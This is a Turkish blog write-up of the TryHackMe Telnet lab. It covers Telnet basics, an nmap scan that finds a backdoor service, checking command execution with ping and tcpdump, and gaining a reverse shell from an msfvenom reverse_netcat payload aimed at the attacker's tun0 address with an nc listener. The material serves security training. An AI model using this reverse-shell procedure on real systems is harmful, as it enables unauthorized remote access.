Telnet Network Services Write-up | TryHackMe

   


   Merhabalar. Bu makalede TryHackMe Network Services yazı serisinin ikincisine devam edeceğim. Bu yazıda Telnet protokolünü anlayarak hedef makinedeki keşfimizi gerçekleştirip Telnet’in hangi zafiyetinden yararlanabileceğimizi göreceğiz.

TryHackMe ile bağlantımızı sağladıysak hedef makineyi dağıtarak ilk görevimize başlayalım.

Görev 1: Understanding Telnet (Telnet'i Anlamak)

Telnet Teletype Network (Teletype Ağı) anlamına gelmektedir. Telnet, telnet istemcisinin kullanımıyla, telnet sunucunu barındıran uzak bir makineye bağlanmanızı ve üzerinde komutlar yürütmenize olanak sağlar.

Telnet, kullanıcılara 8 bayt üzerinden sanal bir terminal bağlantısı kullanan çift yönlü etkileşimli bir metin odaklı iletişim sistemi sağlar. Kullanıcı verileri, iletim kontrol protokolü (TCP) üzerinden telnet kontrol bilgileriyle in-band (bant içi) dağıtılır. Telnet istemcisi sunucu ile bir bağlantı kuracaktır. İstemci daha sonra uzak ana makine ile etkileşim sağlamanıza olanak tanıyan sanal bir terminal haline gelecektir.

Telnet kendi başına herhangi bir şifreleme biçimi kullanmamaktadır. Bunun nedeni Telnet’in internetin adaptasyonundan önce geliştirilmesidir. Bu da onu modern güvenlik açısından modası geçmiş hale getirir. Bu nedenle, birçok uygulama ve hizmette Telnet SSH ile değiştirilmiştir. Yine de Telnetin hala kullanımda olduğu örnekler için iletişiminizi güvenli hale getirmek için birkaç metot bulunmaktadır.

Kullanıcı daha sonra Telnet isteminde belirli Telnet komutlarını kullanarak sunucudaki komutları yürütür. Aşağıdaki sözdizimi ile bir telnet sunucusuna bağlanabilirsiniz:

telnet syntax

Telnet’i tanıdığımıza göre soruları yanıtlayabiliriz 😊

Soru 1: Telnet Nedir? : Uygulama Protokolü

Soru 2: Telnet'in yerini yavaş yavaş ne aldı?

Soru 3: 23 numaralı port üzerinden IP 10.10.10.3 olan bir Telnet sunucusuna nasıl bağlanırsınız?

Soru 4: Neyin eksikliği, tüm Telnet iletişiminin text halinde olduğu anlamına mı geliyor? : Şifreleme



Görev 2: Enumerating Telnet (Telnet'i Numaralandırma)

Başlamadan önce hedef makineyi dağıtalım ve önyüklemenin tamamlanmasını bekleyelim.

Yanlış yapılandırılmış bir ağ hizmetinden yararlanmada anahtar enumeration’ın nasıl olabileceğini zaten görmüştük. Ancak, istismar edilmesi potansiyel olarak önemsiz olabilecek güvenlik açıkları her zaman önümüze çıkmaz. Bu nedenle, özellikle ağ hizmetlerinin enumeration edilmesi söz konusu olduğunda, yöntemimizde titiz davranmamız gerekir.

Her zaman yaptığımız gibi, hedef sistemin servisleri, uygulamaları, yapısı ve işletim sistemi hakkında olabildiğince bilgi sahibi olabilmek için, bir port taraması gerçekleştireceğiz. Nmap aracı ile -A ve -p- seçeneklerini kullanarak port taramasını gerçekleştirin.

-A: İşletim sistemi algılama, sürüm algılama, komut dosyası tarama ve traceroute’u bir arada sağlar.

-p-: Sadece en iyi 1000 port’u değil, tüm bağlantı noktalarında tarama yapmamızı sağlar.

Hadi hedef sunucumuzda neler olduğuna bir bakalım 😊

Komut satırında nmap -A -p- [ip] komutunu yürütelim. Benim hedef makinem üzerinde gerçekleştirdiğim port taramasına ait çıktının belli bir kısmını buraya bırakıyorum. Bu çıktı üzerinde soruları yanıtlarken kullanacağımız bilgileri işaretledim. Bu bilgileri kullanarak soruları yanıtlayalım:




Soru 1: Hedef makine üzerinde kaç adet port açık?

Soru 2: Bu hangi port?


Soru 3: Bu port atanmamış, ancak yine de kullandığı protokolü listeliyor, bu hangi protokol?


Soru 4: Şimdi nmap taramasını, -p- etiketi olmadan, tekrar çalıştıralım, kaç adet port açık olarak görünüyor?



Bu çıktıda,  herhangi bir port bilgisine rastlamadık. Telnet’i standart olmayan bir porta atandığını görebiliriz,  yaygın portlar listesinin bir bölümü, veya nmap taramalarının en iyi 1000 portu değil. Enumeration aşamasında edindiğimiz bilgiler istismar aşamasında yarar sağlayacağından, keşif yaparken her açıdan deneme yapmak önemlidir. 


Bir sonraki soruyu bir cevap tanımlamadan geçelim.

Soru 6: Bize dönen çıktıya göre, bu portun ne için kullanılabileceğini düşünüyoruz? : bir arka kapı

Nmap taramasını ilk gerçekleştirdiğimiz çıktıda sarı ile işaretlediğim bölümde SKIDY’S BACKDOOR (Skidy'nin arka kapısı) isimli bir tanım görmüştük. O halde bu bir backdoor olabilir mi? 



Olabilirmiş. 😊

Kısaca backdoor; saldırı aktörlerinin hedef makine üzerinde yararlandıkları tutunma noktasıdır(foothold). Genellikle yazılım geliştiricisi tarafından sorun giderme veya diğer amaçlarla bir uygulamaya veya işletim sistemine erişilebilmesi için oluşturulduğundan sistem sahibi tarafından bilinmemektedir. Saldırı aktörleri backdoorlardan yararlanarak hedef makine üzerindeki hedef bilgilere erişim sağlayıp güvenlik kontrollerini atlatmak için yol haritası çizebilirler. 

Soru 7: Bu kime ait olabilir? Enumeration aşamasında muhtemel kullanıcı isimlerini toplamak önemli bir adımdır.

Bir önceki sorudan da belli olabileceği gibi cevabımız skidy.


Son olarak bize bir tavsiye:
İstismarları denemeye devam ettiğinizde, enumeration aşamanız sırasında bulduğunuz bilgileri her zaman not edin, böylece ona geri dönebilirsiniz. 

Artık enumeration aşamamızı tamamladık. Şimdi sıra elde ettiğimiz bilgilerden nasıl yararlanacağımızı öğrenmeye geldi:

Görev 3: Exploiting Telnet (Telnet'i Kötüye Kullanma)

Telnet, bir protokol olarak, daha önce konuştuğumuz sebeplerden dolayı kendi içinde güvensizdir. Şifrelemeden yoksundur, bu sebeple tüm iletişimi düz yazı şeklinde gönderir ve çoğunlukla zayıf erişim kontrolüne sahiptir. Bununla birlikte, Telnet istemci ve sunucu sistemleri için CVE'ler vardır, bu nedenle kötüye kullanırken  ExploitDBNVD ve CVE Mitre gibi sitelerden Telnet exploit tiplerini araştırılabiliriz.

Common Vulnerabilities and Exposures'ın (Yaygın Güvenlik Açıkları ve Riskler) kısaltması olan bir CVE, genel olarak açıklanan bilgisayar güvenlik açıklarının bir listesidir. Bir kişi bir CVE'ye atıfta bulunduğunda, genellikle bir güvenlik açığına atanan CVE kimlik numarasını kasteder.
Ancak, telnet'in nasıl yapılandırıldığına veya çalışmanıza izin verecek şekilde yanlış bir yapılandırma bulmanız çok daha olasıdır.

Enumeration aşamasında edindiğimiz bilgileri not edelim.

- Bu makinede kötü bir şekilde gizlenmiş bir telnet hizmeti çalışıyor.
- Hizmetin kendisi “backdoor” olarak etiketlenmiş. (Yani sisteme erişmek için kullanılan bir açık kapı.)
- “Skidy” olası kullanıcı adımız var.

Telnet sunucusuna aşağıdaki söz dizimi ile bağlanabiliriz:

telnet [ip] [port]

Hedef makineyi kullanmaya çalışırken bunu aklımızda tutmaya ihtiyacımız olacak.

Reverse Shell Nedir? (Ters Kabuk)

Reverse shell, hedef makinenin saldıran makine ile geri iletişim kurduğu bir shell (kabuk) türüdür. Saldıran makinenin, bağlantıyı aldığı bir dinleme bağlantı noktası vardır, bu da kod veya komutun yürütülmesine neden olur.
Bir “shell”, bir cihazda kod veya komut yürütme elde etmek için kullanılabilen bir kod parçası veya program olarak tanımlanabilir.



Soru 1: Şimdi telnet portuna bağlanmaya çalışalım! Eğer sıkışırsanız, bağlantı için yukarıda özetlenen sözdizimine bir göz atın.




Soru 2: Mükemmel! Bu bir açık telnet bağlantısı! Hangi karşılama mesajını alıyoruz?




Soru 3: Bazı komutları çalıştırmayı deneyelim, telnet oturumuna girdiğimiz herhangi bir girdiden bir geri dönüş alıyor muyuz? (Y / N)

Şimdi .HELP komutunu çalıştırarak hangi komutların çalıştırılabildiğine bir bakalım.



Buraya baktığımızda komutlar .RUN ifadesi ile çalıştırılabiliyor. Fakat; gördüğümüz gibi ls komutunu yürüttüğümüzde herhangi bir çıktı alamadık.


Yazdığımız şeyin bir sistem komutu olarak yürütülüp yürütülmediğini kontrol edelim. 

Şunları kullanarak yerel makinenizde bir tcpdump dinleyicisi başlatın: "sudo tcpdump ip proto \\ icmp -i tun0". Bu, özellikle pinglerin üzerinde çalıştığı ICMP trafiğini dinleyen bir tcpdump dinleyicisini başlatır.

Bu komutu kullanmadan önce anlamakta fayda var. 

Bunu man tcpdump komutunu yürüterek yapalım. Kısaca tcpdump; bir ağ arayüzü üzerindeki paketlerin içeriğinin açıklamasını yazdırır. Yani bir ağ arayüzü üzerinden geçen trafiği yakalayabilmemize ve analiz etmemize olanak sağlamaktadır. 

Bu görevin başında reverse shell'den bahsetmiştik. Burada hedef makine üzerinden çalıştırdığımız komutların bilgisini ana makineye göndermeyi deneyeceğiz.

Şimdi öncelikle yerel makinede ip addr komutunu çalıştırarak ağ arayüzünün ismini öğrenelim.





Ben burada ilgili kısımları işaretledim şimdi yine yerel makinemizde bir tcpdump dinleyicisi başlatalım. Hedef makinede ping komutunu çalıştıracağımız için icmp paketlerini yakalayacağız.




Soru 6: Şimdi hedef makinede .RUN ping [local tun0 ip] -c 1 komutunu koşturalım.😊 Burada sadece bir kere istek gönderiyoruz. Yerel makinede ICMP paketlerini yakaladıysak sorumuzu yanıtlayalım:



Harika! Bu, sistem komutlarını uygulayabildiğimiz VE yerel makinemize ulaşabildiğimiz anlamına gelir. Şimdi biraz eğlenelim!

Msfvenom kullanarak bir reverse shell oluşturacağız. Bu bizim için bir netcat shell oluşturacak ve kodlayacaktır. Söz dizimimiz şöyledir:

msfvenom -p cmd / unix / reverse_netcat lhost = [local tun0 ip] lport = 4444 R

-p = payload
lhost = yerel ana bilgisayar IP adresimiz
lport = dinlenecek bağlantı noktası
= payload'u ham biçimde dışa aktar
 
Soru 8: Oluşturulan payload hangi kelime ile başlıyor?






Mükemmel. Neredeyse yaklaştık. Şimdi tüm yapmamız gereken yerel makinemiz üzerinde bir netcat dinleyicisi başlatmak. Sözdizimi şu şekilde olacaktır:

nc -lvp [listening port]


Soru 9: Payload için seçtiğimiz dinleme portu için komut nasıl görünürdü?


Harika! Şimdi çalışıyor, msfvenom payloadunu kopyalayıp telnet oturumuna yapıştırmamız ve bir komut olarak çalıştırmamız gerekiyor. Umarım bu bize hedef makinede bir shell verir! 

Önce netcat dinleyicisini başlatalım. Sonra hedef makine üzerinde oluşturduğumuz payload'u çalıştıralım:




Şimdi ana makinede oluşturduğumuz netcat dinleyicisinde bunun bilgilendirmesini göreceğiz. Bağlantı kurduysak komutları çalıştırarak flag'i bulmaya çalışalım.




Evet flag yakalandı. 👌

Soru 11: Flag.txt'nin içeriği nedir? 




Böylece Network Services odasının Telnet protokolünü tamamlamış olduk. Umarım keyif almışsınızdır, bir sonraki yazıda buluşmak üzere, sağlıkla kalın.



Yorum Gönder

0 Yorumlar